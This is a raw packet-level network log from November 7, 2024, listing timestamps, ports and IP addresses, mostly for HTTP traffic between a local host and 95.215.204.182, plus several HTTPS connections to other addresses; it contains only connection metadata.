Nov 7, 2024 17:25:47.081490993 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081495047 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081506014 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081515074 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081568003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081583977 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081593990 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081604004 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081701994 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081778049 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081794977 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081806898 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081818104 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081818104 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081830978 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081844091 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081844091 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081862926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081864119 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081873894 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081882954 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081890106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081901073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081912994 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081912994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081929922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081938028 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081986904 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081998110 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082011938 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082015038 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082027912 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082040071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082053900 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082053900 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082073927 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082086086 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082097054 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082215071 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082307100 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082324982 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082454920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082468987 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082521915 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082521915 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082531929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082544088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082587957 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082587957 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082639933 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082659006 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082669973 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082681894 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082694054 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082706928 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082741022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082741022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082765102 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082776070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082784891 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082796097 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082807064 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082819939 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082829952 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082870007 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082870007 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082881927 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082892895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082906008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082916975 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082931995 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082932949 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082932949 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082947016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.082950115 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082971096 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.082971096 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.083008051 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.106291056 CET	49984	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:47.139255047 CET	49991	443	192.168.2.6	23.221.22.41
Nov 7, 2024 17:25:47.139292955 CET	443	49991	23.221.22.41	192.168.2.6
Nov 7, 2024 17:25:47.139458895 CET	49991	443	192.168.2.6	23.221.22.41
Nov 7, 2024 17:25:47.139800072 CET	49992	443	192.168.2.6	23.221.22.41
Nov 7, 2024 17:25:47.139825106 CET	443	49992	23.221.22.41	192.168.2.6
Nov 7, 2024 17:25:47.139894962 CET	49992	443	192.168.2.6	23.221.22.41
Nov 7, 2024 17:25:47.141077995 CET	49992	443	192.168.2.6	23.221.22.41
Nov 7, 2024 17:25:47.141092062 CET	443	49992	23.221.22.41	192.168.2.6
Nov 7, 2024 17:25:47.141377926 CET	49991	443	192.168.2.6	23.221.22.41
Nov 7, 2024 17:25:47.141393900 CET	443	49991	23.221.22.41	192.168.2.6
Nov 7, 2024 17:25:47.142477036 CET	49994	443	192.168.2.6	204.79.197.219
Nov 7, 2024 17:25:47.142482042 CET	49993	443	192.168.2.6	204.79.197.219
Nov 7, 2024 17:25:47.142501116 CET	443	49994	204.79.197.219	192.168.2.6
Nov 7, 2024 17:25:47.142528057 CET	443	49993	204.79.197.219	192.168.2.6
Nov 7, 2024 17:25:47.142586946 CET	49993	443	192.168.2.6	204.79.197.219
Nov 7, 2024 17:25:47.142589092 CET	49994	443	192.168.2.6	204.79.197.219
Nov 7, 2024 17:25:47.142858982 CET	49994	443	192.168.2.6	204.79.197.219
Nov 7, 2024 17:25:47.142874956 CET	443	49994	204.79.197.219	192.168.2.6
Nov 7, 2024 17:25:47.144942045 CET	49993	443	192.168.2.6	204.79.197.219
Nov 7, 2024 17:25:47.144954920 CET	443	49993	204.79.197.219	192.168.2.6
Nov 7, 2024 17:25:47.183996916 CET	443	49984	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:47.184112072 CET	443	49984	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:47.184267044 CET	49984	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:47.188994884 CET	443	49988	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.191749096 CET	443	49982	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:47.194117069 CET	443	49983	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:47.195573092 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.195620060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.195631027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.195642948 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.195653915 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.195684910 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.195950985 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.195970058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.195981026 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196012020 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196013927 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.196024895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196053982 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.196053982 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.196053982 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.196064949 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196077108 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196088076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196093082 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.196110964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196113110 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.196156025 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.196165085 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.196176052 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196191072 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196206093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196266890 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.196266890 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.196269035 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196283102 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196293116 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196304083 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196325064 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.196372986 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.196434021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196445942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196456909 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196469069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196497917 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.196521997 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.196554899 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196667910 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196677923 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196726084 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196747065 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196753025 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.196819067 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196830988 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196841955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.196846008 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.196886063 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.196886063 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.197200060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197220087 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197232008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197388887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197401047 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197417021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197417021 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.197428942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197438955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197443008 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.197451115 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197477102 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.197477102 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.197573900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197585106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197594881 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197599888 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.197607040 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197621107 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.197622061 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197638988 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197649002 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197653055 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.197663069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197678089 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.197706938 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.197706938 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.197788000 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197798967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197881937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197892904 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197904110 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197907925 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.197922945 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197935104 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197945118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197949886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.197949886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.197957993 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.197983980 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.197983980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198008060 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.198026896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198039055 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198054075 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.198143959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198157072 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198167086 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198169947 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.198199034 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.198389053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198399067 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198407888 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198421001 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198430061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.198434114 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198447943 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198450089 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.198462009 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198476076 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.198538065 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198549032 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198559046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198563099 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.198576927 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198585987 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.198590994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198601007 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.198601961 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198615074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198625088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198627949 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.198636055 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198637962 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.198687077 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.198687077 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.198690891 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198704004 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198735952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198746920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198762894 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.198786020 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.199501991 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.234431028 CET	49983	443	192.168.2.6	20.125.209.212
Nov 7, 2024 17:25:47.234440088 CET	443	49983	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:47.234769106 CET	49982	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:47.234776020 CET	443	49982	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:47.235641956 CET	443	49983	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:47.235763073 CET	49983	443	192.168.2.6	20.125.209.212
Nov 7, 2024 17:25:47.235914946 CET	443	49982	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:47.236027956 CET	49982	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:47.239056110 CET	49982	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:47.239130020 CET	443	49982	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:47.240497112 CET	49983	443	192.168.2.6	20.125.209.212
Nov 7, 2024 17:25:47.240572929 CET	443	49983	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:47.240710974 CET	49982	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:47.240717888 CET	443	49982	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:47.240875959 CET	49988	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.240876913 CET	49982	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:47.240905046 CET	443	49982	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:47.241105080 CET	49983	443	192.168.2.6	20.125.209.212
Nov 7, 2024 17:25:47.241111994 CET	443	49983	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:47.243891954 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.243916035 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.243936062 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.244014978 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.244035006 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.244062901 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.244352102 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.246345997 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.246375084 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.246397972 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.246483088 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.246495008 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.246629953 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.247452974 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.247473001 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.247482061 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.247493982 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.247520924 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.247544050 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.247554064 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.247577906 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.247605085 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.264936924 CET	49988	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.264946938 CET	443	49988	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.265678883 CET	49988	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.265682936 CET	443	49988	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.272444963 CET	443	49987	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:47.273718119 CET	49987	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:47.273725986 CET	443	49987	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:47.274084091 CET	443	49987	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:47.278537989 CET	49987	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:47.278608084 CET	443	49987	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:47.279675007 CET	49987	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:47.281423092 CET	49982	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:47.281424046 CET	49983	443	192.168.2.6	20.125.209.212
Nov 7, 2024 17:25:47.285320997 CET	443	49989	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.286092997 CET	49989	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.286114931 CET	443	49989	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.286880016 CET	49989	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.286885023 CET	443	49989	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.311186075 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311202049 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311224937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311238050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311249971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311290026 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.311405897 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.311470032 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311508894 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311522007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311533928 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.311547041 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.311655998 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311667919 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311678886 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311678886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.311691999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311702967 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.311711073 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.311717033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311728954 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311739922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311743975 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.311750889 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311774969 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311775923 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.311788082 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311799049 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.311800957 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311815023 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311827898 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.311827898 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.311865091 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.311865091 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.311877012 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311888933 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311899900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311912060 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.311912060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.311934948 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.311934948 CET	49911	80	192.168.2.6	95.215.204.182
